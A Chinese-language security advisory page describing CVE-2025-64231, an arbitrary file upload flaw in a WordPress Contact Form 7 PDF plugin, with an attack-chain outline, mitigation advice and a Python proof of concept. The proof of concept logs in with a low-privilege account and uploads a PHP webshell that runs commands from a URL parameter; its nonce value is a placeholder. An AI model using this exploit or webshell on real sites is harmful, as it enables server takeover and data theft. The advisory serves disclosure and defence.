IPBUF安全漏洞报告
English
CVE-2025-64231 CVSS 9.9 严重

CVE-2025-64231: WordPress Contact Form 7 PDF插件任意文件上传漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-64231
漏洞类型
任意文件上传
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Contact Form 7 PDF, Google Sheet & Database (rtwwcfp-wordpress-contact-form-7-pdf)

相关标签

任意文件上传WordPress插件漏洞CVE-2025-64231远程代码执行Contact Form 7 PDFrtwwcfp高危漏洞Web安全Patchstack

漏洞概述

CVE-2025-64231是WordPress Contact Form 7 PDF, Google Sheet & Database插件中的一个高危安全漏洞。该插件版本<=3.0.0存在任意文件上传(Unrestricted Upload of File with Dangerous Type)漏洞,允许已认证的低权限用户通过该插件上传恶意文件到服务器。攻击者可以利用此漏洞上传包含恶意代码的文件(如PHP webshell),从而在服务器上执行任意代码,获取完全的系统控制权。该漏洞的CVSS评分高达9.9,属于严重级别,对使用该插件的WordPress网站构成重大安全威胁。漏洞由Patchstack安全团队的[email protected]发现并报告。由于该插件被广泛用于将Contact Form 7表单数据导出为PDF并集成Google Sheets和数据库存储,受影响网站数量可能众多。

技术细节

该漏洞存在于rtwwcfp-wordpress-contact-form-7-pdf插件的文件上传处理逻辑中。插件在处理用户通过Contact Form 7提交的文件时,未对上传文件的类型和内容进行充分验证。具体问题包括:1) 缺少文件类型白名单机制,允许上传任意扩展名文件;2) 未检查文件内容(Magic Bytes),仅依赖客户端提供的文件扩展名;3) 上传目录可执行,恶意文件可直接被Web服务器解析执行。攻击者可以通过构造特制的POST请求,上传.php、.phtml、.phar等可执行文件。漏洞利用路径:攻击者首先注册低权限WordPress账户,构造包含恶意文件的表单提交请求,插件将文件保存到wp-content/uploads/目录,攻击者随后访问上传的文件路径即可触发代码执行。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描目标WordPress网站,识别是否安装rtwwcfp-wordpress-contact-form-7-pdf插件及其版本
STEP 2
步骤2
注册低权限账户:攻击者在目标网站注册普通用户账户(Subscriber或Contributor角色)
STEP 3
步骤3
构造恶意请求:攻击者构造包含恶意PHP文件的POST请求,绕过文件类型检查上传webshell
STEP 4
步骤4
文件上传:利用插件漏洞将.php、.phtml等可执行文件上传到wp-content/uploads/目录
STEP 5
步骤5
代码执行:攻击者访问上传的恶意文件URL,服务器解析执行PHP代码,返回命令执行结果
STEP 6
步骤6
持久化控制:通过webshell进一步渗透,窃取数据库凭证、管理员账户信息,甚至完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-64231 PoC - Arbitrary File Upload # Target: WordPress with rtwwcfp plugin <= 3.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_nonce(login_html): # Extract WordPress nonce from login page import re match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', login_html) return match.group(1) if match else None def login(): # Step 1: Login to WordPress with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) return session if 'wp-admin' in resp.url or resp.status_code == 200 else None def upload_shell(session): # Step 2: Upload malicious PHP shell via vulnerable endpoint upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # PHP webshell content shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'file': ('shell.php', shell_content, 'application/octet-stream') } data = { 'action': 'rtwwcfp_upload_file', 'nonce': 'vulnerable_nonce_or_bypass' } response = session.post(upload_url, files=files, data=data) return response.json().get('url') if response.status_code == 200 else None def main(): print("[*] CVE-2025-64231 PoC - File Upload RCE") session = login() if not session: print("[-] Login failed") return print("[+] Logged in successfully") shell_url = upload_shell(session) if shell_url: print(f"[+] Shell uploaded: {shell_url}") print(f"[*] Execute command: {shell_url}?cmd=whoami") else: print("[-] Upload failed") if __name__ == "__main__": main()

影响范围

rtwwcfp-wordpress-contact-form-7-pdf <= 3.0.0

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时措施:1) 临时禁用rtwwcfp插件或限制其功能;2) 通过.htaccess或Nginx配置禁止uploads目录下的PHP文件执行(添加"SetHandler none"或"location ~ /uploads/.*\.php$ { deny all; }");3) 限制文件上传功能仅对管理员开放;4) 使用ModSecurity等WAF添加针对文件上传的规则;5) 监控wp-content/uploads目录的文件变化,及时发现恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表